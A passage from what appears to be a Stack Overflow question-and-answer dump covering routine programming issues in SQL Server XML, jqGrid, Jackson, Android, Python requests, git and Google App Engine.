generate the XML string is as given</p> <pre><code> SELECT (SELECT PKOrderHeader, CustomerCode FROM #OrderHeader FOR XML PATH(''), TYPE) AS HD, (SELECT DocumentRef, SiteCode FROM #OrderHeader FOR XML PATH(''), TYPE) AS HO, (SELECT FKOrderHeader, ProductCode, RotationLineNo FROM #OrderDetail FOR XML PATH(''), TYPE) AS LO FOR XML PATH('SO'), ROOT('ORDERS') </code></pre> <p>But when I generated the XML string I am getting only the single rows data as XML string as liken given below. Also the LO section is also not showing the multiple rows.</p> <pre><code>&lt;ORDERS&gt; &lt;SO&gt; &lt;HD&gt; &lt;PKOrderHeader&gt;1&lt;/PKOrderHeader&gt; &lt;CustomerCode&gt;JOE&lt;/CustomerCode&gt; &lt;/HD&gt; &lt;HO&gt; &lt;DocumentRef&gt;TEST1&lt;/DocumentRef&gt; &lt;SiteCode&gt;TH&lt;/SiteCode&gt; &lt;/HO&gt; &lt;LO&gt; &lt;FKOrderHeader&gt;1&lt;/FKOrderHeader&gt; &lt;ProductCode&gt;PRD1&lt;/ProductCode&gt; &lt;RotationLineNo&gt;1&lt;/RotationLineNo&gt; &lt;/LO&gt; &lt;/SO&gt; &lt;/ORDERS&gt; </code></pre> <p>So can anyone help me to get multiple row data as XML string?</p>
19079070	1	Retrieving comments using python libclang <p>In the following header file I'd like to get the corresponding <code>+reflect</code> comment to the class and member variable:</p> <pre><code>#ifndef __HEADER_FOO #define __HEADER_FOO //+reflect class Foo { public: private: int m_int; //+reflect }; #endif </code></pre> <p>Using the python bindings for libclang and the following script:</p> <pre><code>import sys import clang.cindex def dumpnode(node, indent): print ' ' * indent, node.kind, node.spelling for i in node.get_children(): dumpnode(i, indent+2) def main(): index = clang.cindex.Index.create() tu = index.parse(sys.argv[1], args=['-x', 'c++']) dumpnode(tu.cursor, 0) if __name__ == '__main__': main() </code></pre> <p>Gives me this output:</p> <pre><code>CursorKind.TRANSLATION_UNIT None CursorKind.TYPEDEF_DECL __builtin_va_list CursorKind.CLASS_DECL type_info CursorKind.CLASS_DECL Foo CursorKind.CXX_ACCESS_SPEC_DECL CursorKind.CXX_ACCESS_SPEC_DECL CursorKind.FIELD_DECL m_int </code></pre> <p>The problem is that the comments are missing. Are they stripped by the preprocessor? Is there any way to prevent that?</p>
32608933	0	is it possible to change the dpi of a canvas image in HTML5? <p>I have learnt that Canvas images in general have 96 dpi. Is it possible to change the dpi of the image data of Canvas. Can i say like convert the 96 dpi image to 200 dpi? Thanks in advance. I looked at this post <a href="http://stackoverflow.com/questions/14488849/higher-dpi-graphics-with-html5-canvas">Higher DPI graphics with HTML5 canvas</a> but looks like this is upscaling.</p>
30937969	0	 <p>From my experience, I just do not do this.</p> <p>I find it much better to pass two dates rather than a range, and then use <code>&gt;=</code> &amp; <code>&lt;=</code> in crystal.</p>
6487407	0	 <p>Yes, but what is the point?</p> <pre><code>Response.Cookies.Add(new HttpCookie("UserID", "JLovus") {Expires = DateTime.Now.AddMinutes(30)}); </code></pre>
14069663	0	 <p>Yes, this is absolutely possible with Scrapy. If you're just opening a list of URLs that you know rather than scraping the site it I'd say Scrapy is overkill.</p> <p>I would recommend <a href="http://lxml.de/" rel="nofollow">lxml</a> for HTML parsing, it's simple and considerably faster than BeautifulSoup (can be as much as two orders of magnitude). And <a href="http://docs.python-requests.org/en/latest/" rel="nofollow">requests</a> for HTTP because it's super simple.</p> <p>In the snippet below I'm using an XPath query to find the correct definition description element. <code>//dl[dt/text()='term']//dd/text()</code> is essentially saying "find the definition list (dl) element that has a definition term with text content of 'term' (<code>//dl[dt/text()='term']</code>) and then find all definition description (dd) elements and get their text content (<code>//dd/text()</code>)".</p> <pre><code>from StringIO import StringIO import requests from lxml import etree response = requests.get("http://www.tripadvisor.in/members/SomersetKeithers") parser = etree.HTMLParser() tree = etree.parse(StringIO(response.text), parser) def get_definition_description(tree, term): description = tree.xpath("//dl[dt/text()='%s']//dd/text()" % term) if len(description): return description[0].strip() print get_definition_description(tree, "Age:") print get_definition_description(tree, "Gender:") print get_definition_description(tree, "Location:") </code></pre>
22140090	0	delRowData doesn't update the rowcount in groupText <p>I am trying to delete a row from jqgrid using the method <code>delRowData</code> which is using the grouping feature. When i delete a row from the jqgrid it doesn't seem to be updating the count in the groupText. Below is the code I have tried</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;link rel="stylesheet" type="text/css" href="jquery-ui-custom.css" /&gt; &lt;link rel="stylesheet" type="text/css" href="ui.jqgrid.css" /&gt; &lt;script src="js/jquery.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="js/jquery-ui-custom.min.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="js/grid.locale-en.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="js/jquery.jqGrid.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="js/jquery.contextmenu.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; jQuery(document).ready(function(){ var mydata = [ {id:"9",invdate:"2007-09-01",name:"test3",note:"note3",amount:"400.00",tax:"30.00",total:"430.00"}, {id:"1",invdate:"2010-05-24",name:"test",note:"note",tax:"10.00",total:"2111.00"} , {id:"2",invdate:"2010-05-25",name:"test2",note:"note2",tax:"20.00",total:"320.00"}, {id:"3",invdate:"2007-09-01",name:"test3",note:"note3",tax:"30.00",total:"430.00"}, {id:"29",invdate:"2007-09-01",name:"test3",note:"note3",amount:"450.00",tax:"40.00",total:"430.00"}, {id:"4",invdate:"2007-10-04",name:"test",note:"note",tax:"10.00",total:"210.00"}, {id:"5",invdate:"2007-10-05",name:"test2",note:"note2",tax:"20.00",total:"320.00"}, {id:"6",invdate:"2007-09-06",name:"test3",note:"note3",tax:"30.00",total:"430.00"}, {id:"7",invdate:"2007-10-04",name:"test",note:"note",tax:"10.00",total:"210.00"}, {id:"8",invdate:"2007-10-03",name:"test2",note:"note2",amount:"300.00",tax:"21.00",total:"320.00"}, {id:"19",invdate:"2007-09-01",name:"test3",note:"note3",amount:"400.00",tax:"40.00",total:"430.00"}, {id:"11",invdate:"2007-10-01",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"12",invdate:"2007-10-02",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"}, {id:"13",invdate:"2007-09-01",name:"test3",note:"note3",amount:"400.00",tax:"35.00",total:"430.00"}, {id:"14",invdate:"2007-10-04",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"15",invdate:"2007-10-05",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"}, {id:"16",invdate:"2007-09-06",name:"test3",note:"note3",amount:"400.00",tax:"30.00",total:"430.00"}, {id:"17",invdate:"2007-10-04",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"18",invdate:"2007-10-03",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"}, {id:"21",invdate:"2007-10-01",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"22",invdate:"2007-10-02",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"}, {id:"23",invdate:"2007-09-01",name:"test3",note:"note3",amount:"450.00",tax:"30.00",total:"430.00"}, {id:"24",invdate:"2007-10-04",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"25",invdate:"2007-10-05",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"}, {id:"26",invdate:"2007-09-06",name:"test3",note:"note3",amount:"400.00",tax:"30.00",total:"430.00"}, {id:"27",invdate:"2007-10-04",name:"test",note:"note",amount:"200.00",tax:"10.00",total:"210.00"}, {id:"28",invdate:"2007-10-03",name:"test2",note:"note2",amount:"300.00",tax:"20.00",total:"320.00"} ]; jQuery("#list3").jqGrid({ data: mydata, datatype: "local", height: 400, colNames:['Inv No','Date', 'Client', 'Amount','Tax','Total','Notes'], colModel:[ {name:'id',index:'id', width:60, sorttype:"int"}, {name:'invdate',index:'invdate', width:90, sorttype:"date"}, {name:'name',index:'name', width:100}, {name:'amount',index:'amount', width:80, align:"right"}, {name:'tax',index:'tax', width:80, align:"right"}, {name:'total',index:'total', width:80,align:"right",sorttype:"float"}, {name:'note',index:'note', width:150, sortable:false} ], rowNum:100, rowList:[10,20,30], pager: '#pager3', sortname: 'amount asc, tax', viewrecords: true, sortorder: "asc", loadonce: true, multiSort: true, grouping : true, groupingView : { groupField : ['invdate'], groupColumnShow : [false], groupText : ['&lt;b&gt;{0} - ({1})&lt;/b&gt;'], groupCollapse : false, groupOrder: ['asc'], groupSummary : [false], plusicon : 'ui-icon ui-icon-triangle-1-e', minusicon : 'ui-icon ui-icon-triangle-1-s' }, caption: "Load Once Example" }); jQuery("#deleteButton").click(function(){ var rowid = $("#list3").jqGrid ("getGridParam", "selrow"); jQuery("#list3").jqGrid("delRowData",rowid); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;table id="list3"&gt;&lt;/table&gt; &lt;button id="deleteButton"&gt;Delete Row&lt;/button&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I hope I have explained my problem. Please let me know if anything else need to be added.</p> <p>BTW I am using jqgrid version : "4.5.4"</p> <p>Thanks in advance</p> <p>Mobin</p>
33062662	0	 <p>You can set background on animation complete callback something like this:</p> <pre><code>$('#SwWcSbDoTh').on('click',function(){ $('#B').animate({opacity: 1,complete:function(){ $("body").css("opacity","0.25");}},1000); }); </code></pre>
35880927	0	Jackson serialize generic collection <p>I want to use Jackson to serialize an object include a generic collection type. This is the interface:</p> <pre><code>public interface PagingAdapter &lt;Id extends Serializable, T extends Entity&lt;Id&gt;&gt; extends Serializable { public List&lt;T&gt; getItem(); public void setItem(List&lt;T&gt; items); public Boolean hasNextPage(); public Integer getTotalPage(); public Integer getPageSize(); public void setPageSize(int pageSize); public Long getTotalItem(); public void setTotalItem(Long totalItem); public void setCurrentPage(Integer currentPage); public Integer getCurrentPage(); public Class&lt;T&gt; getEntityType(); public void setEntityType(Class&lt;T&gt; entityType); } </code></pre> <p>and this is the implementation:</p> <pre><code>public class PagingAdapterImpl&lt;Id extends Serializable, T extends Entity&lt;Id&gt;&gt; implements PagingAdapter&lt;Id,T&gt; { private static Integer DEFAULT_PAGE_SIZE = 20; private Class&lt;T&gt; entityType; private List&lt;T&gt; items = null; private Integer pageSize = DEFAULT_PAGE_SIZE; private Integer currentPage = 0; private Long totalItem; public PagingAdapterImpl(List&lt;T&gt; items, int currentPage, int pageSize, long totalItem) { super(); this.items = items; this.pageSize = pageSize; this.currentPage = currentPage; this.totalItem = totalItem; } public PagingAdapterImpl(){ } @Override public Class&lt;T&gt; getEntityType() { return entityType; } @Override public void setEntityType(Class&lt;T&gt; entityType) { this.entityType = entityType; } @Override public List&lt;T&gt; getItem() { return items; } @Override public void setItem(List&lt;T&gt; items) { this.items = items; } @Override public Boolean hasNextPage() { return false; } @Override public Integer getTotalPage() { int rs = (int) (getTotalItem() % getPageSize() == 0 ? getTotalItem() / getPageSize() : getTotalItem() / getPageSize() + 1); return 0; } @Override public Integer getPageSize() { return this.pageSize; } @Override public Long getTotalItem() { return this.totalItem; } @Override public void setTotalItem(Long totalItem) { this.totalItem = totalItem; } @Override public void setCurrentPage(Integer currentPage) { this.currentPage = currentPage; } @Override public Integer getCurrentPage() { return currentPage; } @Override public void setPageSize(int pageSize) { this.pageSize = pageSize; } } </code></pre> <p>I'm using RestEasy with Jackson 1.9. Output of a rest method return instance of this object now like this:</p> <pre><code>{ "status": 0, "data": { "entityType": null, "pageSize": 1, "currentPage": 1, "totalItem": 1, "item": [], "totalPage": 0 } } </code></pre> <p>The "item" property cannot be serialized to a JSON array. How can I fix this problem?</p> <pre><code>public class PagingAdapterSerializer extends JsonSerializer&lt;PagingAdapter&lt;Long, Entity&lt;Long&gt;&gt;&gt; { @Override public void serialize(PagingAdapter&lt;Long, Entity&lt;Long&gt;&gt; value, JsonGenerator jgen, SerializerProvider provider) throws IOException, JsonProcessingException { jgen.writeStartObject(); jgen.writeObjectField("item",value.getItem()); jgen.writeObjectField("totalItem",value.getTotalPage()); jgen.writeObjectField("pageSize",value.getPageSize()); jgen.writeObjectField("totalItem",value.getTotalItem()); jgen.writeObjectField("currentPage",value.getCurrentPage()); jgen.writeEndObject(); } </code></pre> <p>This is my custom serializer. But it doesn't works</p>
26929722	0	How to get the x y position of a view after zoom-in in android <p>I am Beginner for android, am looking for xy position of a view in zoom-in page but i tried a lot i cant able to get that.I used this below coding, but im getting the same position before and after the zoom. Please any one post the code for finding the xy position after zoom it. </p> <pre><code> private int fieldImgXY[] = new int[2]; v.getLocationOnScreen(fieldImgXY); Log.v("Log",fieldImgXY[0]+" "+fieldImgXY[1]); </code></pre> <p>My full code:</p> <pre><code> zoom = (ZoomView) findViewById(R.id.maincontainerScroller); imageView = new ImageView(this); imageView.setImageResource(R.drawable.ic_launcher); imageView.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)); zoom.addView(imageView); imageView.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub v.getLocationOnScreen(fieldImgXY); Log.v("Log",fieldImgXY[0]+" "+fieldImgXY[1]); } }); </code></pre>
5991604	0	Windows Phone 7 Silverlight using session <p>I am creating a Windows 7 mobile Silverlight project. I use Rest api for authentication using a class say <strong>Authentication</strong>. I get an authentication token as a response and I assign it to a class property <strong>AuthToken</strong> because I need to use this in different places. Is there any way to store this AuthToken in session or any thing else. Because I did not find any session example in wp7. Thanks</p>
26709268	0	 <p>Anyways, I get the answer. All we have to make a call to.</p> <pre><code>getCompleteInfo() </code></pre> <p>Rest is on manipulation of the output.</p>
752490	0	Security risks of an un-encrypted connection across an international WAN? <p>The organisation for which I work has an international WAN that connects several of its regional LANs. One of my team members is working on a service that receives un-encrypted messages directly from a FIX gateway in Tokyo to an app server in London, via our WAN. The London end always initiates the authenticated connection, and at no point do these messages leave our WAN. </p> <p>But our local security guru suggests that we should be encrypting these messages as a <a href="http://www.darkreading.com/story/showArticle.jhtml?articleID=216403220" rel="nofollow noreferrer">WAN apparently has significantly more security risk than a LAN</a>. How much easier is it really to break into a WAN than a LAN? And what other security risks does a WAN pose in this context?</p> <p><strong>UPDATE:</strong> Many thanks for your answers. I've decided to encrypt the connection, mainly because it's clear that the WAN does introduce extra security vulnerabilities due to the hardware being outside of our physical control. </p>
32818434	0	Source code space mess <p>I have my code perfectly tabbed in Notepad++, but it is a mess in the source code in Google Chrome.</p> <p><a href="https://i.stack.imgur.com/9BPyw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9BPyw.png" alt="Google Chrome"></a> <a href="https://i.stack.imgur.com/BCNWp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BCNWp.png" alt="Notepad++"></a></p> <p>How can I fix this?</p> <p>Thanks in advance!</p>
14720587	0	Convert int to bytes - different result in Java & Actionscript <p>I would like to convert integers to bytes. I have an example in Actionscript and I need to convert it to Java. For the sake of simplicity let's assume only one number, 1234. This is my Java code:</p> <pre><code>int[] a = {1234}; ByteBuffer byteBuffer = ByteBuffer.allocate(a.length * 4); IntBuffer intBuffer = byteBuffer.asIntBuffer(); intBuffer.put(a); byte[] array = byteBuffer.array(); for (int i=0; i &lt; array.length; i++) { Log.i(T, i + ": " + array[i]); } </code></pre> <p>This gives me the following result:</p> <pre><code>0 : 0 1 : 0 2 : 4 3 : -46 </code></pre> <p>While in Actionscript I have this:</p> <pre><code>var c:ByteArray = new ByteArray; c.writeInt(1234); for(var p:uint=0; p&lt;c.length; p++) { trace(p+" : "+c[p]); } </code></pre> <p>And the result:</p> <pre><code>0 : 0 1 : 0 2 : 4 3 : 210 </code></pre> <p>What am I doing wrong, why is the result different? Thanks!</p>
35371043	1	Use python requests to download CSV <p>Here is my code: </p> <pre><code>import csv import requests with requests.Session() as s: s.post(url, data=payload) download = s.get('url that directly download a csv report') </code></pre> <p>This gives me the access to the csv file. I tried different method to deal with the download:</p> <p>This will give the the csv file in one string:</p> <pre><code>print download.content </code></pre> <p>This print the first row and return error: _csv.Error: new-line character seen in unquoted field</p> <pre><code>cr = csv.reader(download, dialect=csv.excel_tab) for row in cr: print row </code></pre> <p>This will print a letter in each row and it won't print the whole thing:</p> <pre><code>cr = csv.reader(download.content, dialect=csv.excel_tab) for row in cr: print row </code></pre> <p>My question is what is what's the most efficient way to read a csv file in this situation. And how to download the actual csv file.</p> <p>thanks </p>
27269665	0	 <p>There is a command to show all the commit logs history since the beginning in a branch</p> <pre><code>git log </code></pre> <p>after execting this command, you will find that each commit or log has commit id and Author with its date, copy the commit ID and right this command:</p> <pre><code>git show COMMIT_ID </code></pre> <p>The command above will show the commit details by the author assigned to this commit id</p> <p>Another solution it to write something like this:</p> <pre><code>git whatchanged --since '04/14/2013' --until '05/22/2014' </code></pre> <p>The code above it like git log however with filters (range)</p>
12156209	0	How recive data from SQL Server to Android Application, in autonomous manner? <p>I have created a web service which, querying a SQL Server, retrives several tables. I'm consuming this web service using KSoap2 package in Android application, and I want maintain alligned the tables on SQL Server and tables on Android Application. Many of the tables in SQL Server remain the same over time, but some others change frequently. I need an automatic mechanism for update the tables on Android Application, on the initiative of Server. I think I need a socket on Android application, for listening a signal transmitted from SQL Server, the meaning of which is "the data in some tables are changed". So, then, I can use the web service call for retrieves new data. Is this possible? anyone has suggestions?</p>
14542067	0	 <p>Sounds like you should be using radio buttons instead. To do that with check boxes you'll need to manually uncheck the boxes on the .checked event.</p>
9541141	0	 <p>The code is actually working great, but only in <em>Processing</em>, not in <em>Processing.js</em> even though this fonctionnality appear in both reference pages <a href="http://processingjs.org/reference/PImage/" rel="nofollow">http://processingjs.org/reference/PImage/</a></p>
21981320	0	 <p>Whenever I want to decouple the implementation of a piece of logic from where it's needed - in this case the knowledge of "how much data is enough" - I think of a callback function.</p> <p>Presumably the set of all possible data that your class can collect is known (<code>name</code>, <code>age</code>, <code>sex</code> &amp; <code>location</code> in your example). This means all <em>clients</em> of your class (can) know about it also, without increasing the amount of coupling &amp; dependence.</p> <p>My solution is to create an "evaluator" class that encapsulates this logic. An instance of a subclass of this class is created by the client and handed to the data collector at the time of the initial request for data; this object is responsible for deciding (and telling the "collector") when enough data has been collected.</p> <pre><code>#include &lt;string&gt; // The class that decides when enough data has been collected // (Provided to class "collector" by its clients) class evaluator { public: virtual ~evaluator() {}; // Notification callbacks; Returning *this aids in chaining virtual evaluator&amp; name_collected() { return *this; } virtual evaluator&amp; age_collected() { return *this; } virtual evaluator&amp; sex_collected() { return *this; } virtual evaluator&amp; location_collected() { return *this; } // Returns true when sufficient data has been collected virtual bool enough() = 0; }; // The class that collects all the data class collector { public: void collect_data( evaluator&amp; e ) { bool enough = false; while ( !enough ) { // Listen to data source... // When data comes in... if ( /* data is name */ ) { name = /* store data */ enough = e.name_collected().enough(); } else if ( /* data is age */ ) { age = /* store data */ enough = e.age_collected().enough(); } /* etc. */ } } // Data to collect std::string name; int age; char sex; std::string location; }; </code></pre> <p>In your example, you wanted a particular client to be able to specify that the combination of <code>age</code> and <code>sex</code> is sufficient. So you subclass <code>evaluator</code> like so:</p> <pre><code>class age_and_sex_required : public evaluator { public: age_and_sex_required() : got_age( false ) , got_sex( false ) { } virtual age_and_sex_required&amp; age_collected() override { got_age = true; return *this; } virtual age_and_sex_required&amp; sex_collected() override { got_sex = true; return *this; } virtual bool enough() override { return got_age &amp;&amp; got_sex; } private: bool got_age; bool got_sex; }; </code></pre> <p>The client passes an instance of this class when requesting data:</p> <pre><code>collector c; c.collect_data( age_and_sex_required() ); </code></pre> <p>The <code>collect_data</code> method quits and returns when the <code>age_and_sex_required</code> instance reports that the amount of data collected is "enough", and you haven't built any logic, knowledge, enums, whatever, into the <code>collector</code> class. Also, the logic of what constitutes "enough" is <em>infinitely configurable</em> with no further changes to the <code>collector</code> class.</p> <p>----- EDIT -----</p> <p>An alternate version would <em>not</em> use a class with the <code>..._collected()</code> methods but simply a single (typedef'd) function that accepts the <code>collector</code> as a parameter and returns <code>boolean</code>:</p> <pre><code>#include &lt;functional&gt; typedef std::function&lt; bool( collector const&amp; ) &gt; evaluator_t; </code></pre> <p>The code in <code>collector::collect_data(...)</code> would simply call</p> <pre><code>enough = e( *this ); </code></pre> <p>each time a piece of data is collected.</p> <p>This would eliminate the necessity of the separate <code>evaluator</code> abstract interface, but would add dependence on the <code>collector</code> class itself, as the object passed as the <code>evaluator_t</code> function would be responsible for checking the state of the <code>collector</code> object to evaluate whether enough data has been collected (and would require the <code>collector</code> to have sufficient public interface to inquire about its state):</p> <pre><code>bool age_and_sex_required( collector const&amp; c ) { // Assuming "age" and "sex" are initialized to -1 and 'X' to indicate "empty" // (This could be improved by changing the members of "collector" to use // boost::optional&lt;int&gt;, boost::optional&lt;char&gt;, etc.) return (c.age &gt;= 0) &amp;&amp; (c.sex != 'X'); } </code></pre>
33032545	0	How to handle incoming request error 'Request Too Large' in Google App Engine? <p>We provided our GAE Servlet POST URL as Webhook to third party service that sends data. According to <a href="https://cloud.google.com/appengine/docs/quotas?hl=en#Requests" rel="nofollow">GAE</a> - "Each incoming HTTP request can be no larger than 32MB."</p> <p>Sometimes third party service sends data more than 40MB which gets rejected by GAE server as 'Request Too Large' error. The service retries continuously on the other end upto 100 times and blocks further requests until retries completed if webhook URL doesn't return a 200 HTTP response code.</p> <p>Is it possible to handle such requests and send 200 HTTP response code with GAE?</p>
32245312	0	 <p>NUnit version 3 will support running tests in parallel, this works good with a Selenium Grid:</p> <p>Adding the attribute to a class: <code>[Parallelizable(ParallelScope.Self)]</code> will run your tests in parallel with other test classes.</p> <blockquote> <p>• ParallelScope.None indicates that the test may not be run in parallel with other tests. </p> <p>• ParallelScope.Self indicates that the test itself may be run in parallel with other tests.</p> <p>• ParallelScope.Children indicates that the descendants of the test may be run in parallel with respect to one another.</p> <p>• ParallelScope.Fixtures indicates that fixtures may be run in parallel with one another.</p> </blockquote> <p><a href="https://github.com/nunit/docs/wiki/Parallel-Test-Execution" rel="nofollow noreferrer">NUnit Framework-Parallel-Test-Execution</a></p>
30055142	0	 <p>In order to load extensions, you should add "extensions" in "module" section in project.json. For example:</p> <p>{ ... "module": ["cocos2d", "extensions"] }</p>
37024635	0	How to cd to a directory on remote machine and run the script present in that directory <p>When I do this</p> <pre><code>ssh host@someip "cd /target &amp;&amp; ls" </code></pre> <p>the files on remote machine are displayed.</p> <p>Now, I am trying to run a file on the remote machine.</p> <pre><code>ssh host@someip "cd /target &amp;&amp; ./file.sh" </code></pre> <p>When i do this it reaches the folder named target on the remote machine but the file is executed on local machine. How to make file.sh also run on remote machine ?</p>
18347687	0	Django: Reverse not found > {% url %} in template <p>This problem seems simple and it is described multiple times in SO, but I still can't figure out why it isn't working in my case.</p> <p>So, I have a url declared in <strong>urls.py</strong></p> <pre><code>urlpatterns = patterns('', url(r'^(?P&lt;country&gt;[-\w]+)/$', CountryListView.as_view(), name='list_by_country'),) </code></pre> <p>and in my <strong>template</strong> I'm calling the url</p> <pre><code>&lt;a href="{% url 'list_by_country' country.country__name %}" &gt;{{ country.country__name }}&lt;/a&gt; </code></pre> <p>However, I am getting the <strong>error message</strong> that the url could not be reversed</p> <pre><code>Reverse for 'list_by_country' with arguments '(u'United Kingdom',)' and keyword arguments '{}' not found </code></pre> <p>What is causing the reverse error? Are spaces in the argument maybe not allowed?</p> <hr>
564591	0	 <p>My simple answer combined with those answer is:</p> <ul> <li>Create your application/program using thread safety manner </li> <li>Avoid using public static variable in all places</li> </ul> <p>Therefore it usually fall into this habit/practice easily but it needs some time to get used to: </p> <p>program your logic (not the UI) in functional programming language such as F# or even using Scheme or Haskell. Also functional programming promotes thread safety practice while it also warns us to always code towards purity in functional programming. If you use F#, there's also clear distinction about using mutable or immutable objects such as variables. </p> <hr> <p>Since method (or simply functions) is a first class citizen in F# and Haskell, then the code you write will also have more disciplined toward less mutable state. </p> <p>Also using the lazy evaluation style that usually can be found in these functional languages, you can be sure that your program is safe fromside effects, and you'll also realize that if your code needs effects, you have to clearly define it. IF side effects are taken into considerations, then your code will be ready to take advantage of composability within components in your codes and the multicore programming.</p>
39232832	0	How to stop tab change from running fragment onCreateView in Andriod <p>I have three tabs using the implementation below and they perform very well. When tab is changed the proper fragment is load and so on. The problem is that, when i get to the last tab and comeback to the first fragment, its like its oncreateview method is always triggered again running the other codes it in causing duplicates. Any help will be greatly appreciated.</p> <p>//Activity on the tab is based</p> <pre><code>public class Dashboard extends AppCompatActivity { private TabLayout tabLayout; private ViewPager viewPager; private MyViewPagerAdapter myViewPagerAdapter; private int[] tabIcon = {R.drawable.ic_home, R.drawable.ic_message, R.drawable.ic_person}; android.support.v7.widget.Toolbar toolbar; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.dashboard); //Toolbar toolbar = (android.support.v7.widget.Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar); //ViewPager viewPager = (ViewPager) findViewById(R.id.viewpager); setupViewPager(viewPager); //Tablayout tabLayout = (TabLayout) findViewById(R.id.tabs); tabLayout.setupWithViewPager(viewPager); tabLayout.getTabAt(0).setIcon(tabIcon[0]); tabLayout.getTabAt(1).setIcon(tabIcon[1]); tabLayout.getTabAt(2).setIcon(tabIcon[2]); viewPager.addOnPageChangeListener(new TabLayout.TabLayoutOnPageChangeListener(tabLayout)); tabLayout.setOnTabSelectedListener(new TabLayout.OnTabSelectedListener() { @Override public void onTabSelected(TabLayout.Tab tab) { switch(tab.getPosition()) { case 0: viewPager.setCurrentItem(0); toolbar.setTitle("Home"); break; case 1: viewPager.setCurrentItem(1); toolbar.setTitle("Messages"); break; case 2: viewPager.setCurrentItem(2); toolbar.setTitle("Profile"); break; } } @Override public void onTabUnselected(TabLayout.Tab tab) { } @Override public void onTabReselected(TabLayout.Tab tab) { } }); } private void setupViewPager(ViewPager viewPager){ myViewPagerAdapter = new MyViewPagerAdapter(getSupportFragmentManager()); myViewPagerAdapter.addFragments(new CategoryFragment(), "Categories"); myViewPagerAdapter.addFragments(new MessagesFragment(), "Messages"); myViewPagerAdapter.addFragments(new ProfileFragment(), "Profile"); viewPager.setAdapter(myViewPagerAdapter); } //View Pager Adapter public class MyViewPagerAdapter extends FragmentPagerAdapter { ArrayList&lt;Fragment&gt; fragments = new ArrayList&lt;&gt;(); ArrayList&lt;String&gt; tabTitles = new ArrayList&lt;&gt;(); public void addFragments(Fragment fragments, String titles){ this.fragments.add(fragments); this.tabTitles.add(titles); } public MyViewPagerAdapter(FragmentManager fm) { super(fm); } @Override public int getCount() { return fragments.size(); } @Override public Fragment getItem(int position) { return fragments.get(position); } @Override public CharSequence getPageTitle(int position) { //return tabTitles.get(position); return null; } } @Override public void onBackPressed() { super.onBackPressed(); } </code></pre> <p>}</p> <p>//Main first fragment code public class CategoryFragment extends Fragment {</p> <pre><code>private DBHandler dbHandler; private ListView listView; private ListAdapter adapter; ArrayList&lt;Categories&gt; categoriesList = new ArrayList&lt;Categories&gt;(); public CategoryFragment() { // Required empty public constructor } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View view = inflater.inflate(R.layout.fragment_home, container, false); //Setting up the basic categories dbHandler = new DBHandler(view.getContext()); //Get Categories from database final Cursor cursor = dbHandler.getCategories(0); if (cursor != null) { if(cursor.moveToFirst()){ do{ Categories categories = new Categories(); categories.set_id(cursor.getInt(0)); categories.set_categoryname(cursor.getString(2)); categories.set_categoriescaption(cursor.getString(3)); categoriesList.add(categories); }while (cursor.moveToNext()); } cursor.close(); } listView = (ListView) view.findViewById(R.id.categories); adapter = new CategoryAdapter(view.getContext(), R.layout.cursor_row, categoriesList); listView.setAdapter(adapter); listView.setOnItemClickListener( new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { Integer cid = (int) (long) adapter.getItemId(position); TextView categoryname = (TextView) view.findViewById(R.id.cursor); String cname = categoryname.getText().toString(); Intent i = new Intent(view.getContext(), CategoryList.class); i.putExtra("categoryname", cname); i.putExtra("categoryid", cid); startActivity(i); } } ); return view; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } </code></pre> <p>}</p> <p>So when i swipe back here from the last tab. OncreateView runs again. How can i handle that and prevent duplicates. Thank you</p>
10781084	0	If my app deletes a post it made to a user's wall, will all likes and shares made by other people also be deleted? <p>Lets say I have a FB app I've created, and for whatever reason the server code for the app is responsible for posting stories to the app user's wall (using a token).</p> <p>Now let's say we want to take down that post at a later date - easy, right? Because the app created the post, it owns it, and using the ID it received originally it can take that post down. (I presume the ID I get back is actually an "object id" referring to my content, rather than specifically to the post on the user's wall - correct?)</p> <p>Here's the thing though. What if one or more friends of the user shared that story to their own wall - what if this happened a number of times, spreading through the friend relationship tree further and further. Does my app still have the power to remove all of these posts, because it created the original post?</p> <p>Additionally, what if the original user deleted the post themselves from their wall, but not until it had been shared by his/her friends? Would this have the same effect (delete everywhere), or would it only be that one specific post being removed? Would my app get an error when it tried to delete the post itself if the post had already been deleted by the user? </p> <p>The reason I ask is because, if my app deleted the original post that it made to the user's wall, I would want <em>all</em> of the shared posts or likes to also be deleted, no matter where they were down the friend chain. I don't want to delete my original post and assume all is well, only to discover that because it was shared several times down the chain that it is still visible somewhere. </p> <p>In case it's relevant, the "post" my app will make would require a custom image and a specific return URL - I tried the <code>/user_id/links</code> graph API and it didnt work (there's a bug with it). So I'd be most likely using <code>/user_id/feed</code> to make the post.</p>
